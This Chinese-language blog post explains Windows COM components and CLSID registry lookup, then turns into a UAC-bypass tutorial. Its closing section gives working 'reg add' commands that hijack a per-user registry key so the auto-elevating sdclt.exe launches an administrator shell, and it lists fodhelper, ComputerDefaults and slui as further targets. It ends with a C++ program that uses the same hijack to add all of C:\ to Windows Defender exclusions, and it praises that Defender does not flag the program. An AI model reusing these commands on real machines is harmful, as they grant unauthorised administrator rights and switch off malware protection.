COM劫持实现提权

COM劫持

COM组件

COM是Component Object Model(组件对象模型)的缩写。
COM是微软公司为了计算机工业的软件生产更加符合人类的行为方式开发的一种新的软件开发技术。在COM构架下,人们可以开发出各种各样的功能专一的组件,然后将它们按照需要组合起来,构成复杂的应用系统。
COM是开发软件组件的一种方法。组件实际上是一些小的二进制可执行程序,它们可以给应用程序,操作系统以及其他组件提供服务。开发自定义的COM组件就如同开发动态的,面向对象的API。多个COM对象可以连接起来形成应用程序或组件系统。并且组件可以在运行时刻,在不被重新链接或编译应用程序的情况下被卸下或替换掉。Microsoft的许多技术,如ActiveX, DirectX以及OLE等都是基于COM而建立起来的。并且Microsoft的开发人员也大量使用COM组件来定制他们的应用程序及操作系统。
COM组件主要是解决了代码共用以及版本问题、能够调用其他软件的功能、所有代码都能够面向对象

翻译成人话:COM是一些dll或者exe文件。你的程序由各种API实现,API由各种COM组件实现。

注册表

CLSID(Class Identifier)是与某一个类对象相联系的唯一标记。它是一个128位的数,常用16进制表示。相当于COM组件的身份证。微软设计了一种算法使得每一个不同的COM组件都有不同的CLSID。理论上如果一台机器每秒产生1000万个标识,则可以保证(概率意义上)3240年不重复。

注册表中则存储了这些标识,当一个COM组件被加载时,它会依次寻找:

  • HKCU\Software\Classes\CLSID
  • HKCR\CLSID
  • HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\shellCompatibility\Objects

COM劫持

COM劫持即伪造或篡改注册表中的键或值,使其执行我们自己的恶意代码。
一种方法是,某些程序虽然被卸载了,但其COM键会保留,修改其值达成目的。另一种是在HKCU中伪造键值。

UAC提权

静态提权

某些程序执行的大量操作需要管理员权限,Visual Studio中在链接器-清单文件处修改UAC级别即可提权。
如此之后生成的程序右下角带“盾”,且运行前会发出询问。

动态提权

某些程序大部分操作都不需要管理员权限,只有少数操作需要。微软提供了四种方法:

可以根据具体需要实现的功能选择合适的方法。比如:“添加防火墙规则”这个功能需要使用COM接口INetFwPolicy2。可以直接用第4种方法实现。使用这种方法有个前提,就是这个 COM 接口必须在注册表里是配置为可以提权的。比如INetFwPolicy2的CLSID为E2B3C97F-6AE1-41AC-817A-F6F92166D7DD,当HKLM\Software\Classes\CLSID\{E2B3C97F-6AE1-41AC-817A-F6F92166D7DD}\Elevation中Elevation的值为1时,即可提权。(详见这里)

COM劫持sdclt提权

C:\Windows\system32中存在sdclt.exe文件用于处理备份和还原。
这个程序很神奇,在运行的时候会自动提权,以管理员权限启动另一个sdclt.exe进程。高权限的sdclt进程会调用C:\Windows\System32\control.exe(控制面板)。
而调用控制面板需要HKLM\SOFTWARE\Classes\Folder\shell\open\command中的值。我们可以在HKCU中伪造键值提权:

1
2
reg add "HKCU\Software\Classes\Folder\shell\open\command" /d "cmd.exe" /f
reg add "HKCU\Software\Classes\Folder\shell\open\command" /v "DelegateExecute" /f

此后再次执行sdclt.exe就会弹出管理员权限的cmd窗口。

环境恢复:

1
reg delete "HKCU\Software\Classes\Folder\shell\open\command" /f

与之类似的还有:

目标进程 目标注册表
C:\Windows\system32\fodhelper.exe HKCU:\Software\Classes\ms-settings\Shell\Open\Command
C:\Windows\system32\ComputerDefaults.exe HKCU:\Software\Classes\ms-settings\shell\open\command
C:\Windows\system32\slui.exe HKCU:\Software\Classes\exefile\shell\open\command

其余的就靠大家区发现了。

PE文件版

比如下面这段代码,他就可以将C盘放入WindowsDfender查杀的白名单里:

1
2
3
4
5
6
7
8
9
#include <iostream>

int main()
{
system("reg add \"HKCU\\Software\\Classes\\Folder\\shell\\open\\command\" /d \"powershell.exe \\\"Set-MpPreference -ExclusionPath \\\"C:\\*\\\"\\\"\" /f");
system("reg add \"HKCU\\Software\\Classes\\Folder\\shell\\open\\command\" /v \"DelegateExecute\" /f");
system("C:\\Windows\\system32\\sdclt.exe");
return 0;
}

这有一个非常重要的好处————WindowsDefender不会对这个程序报毒。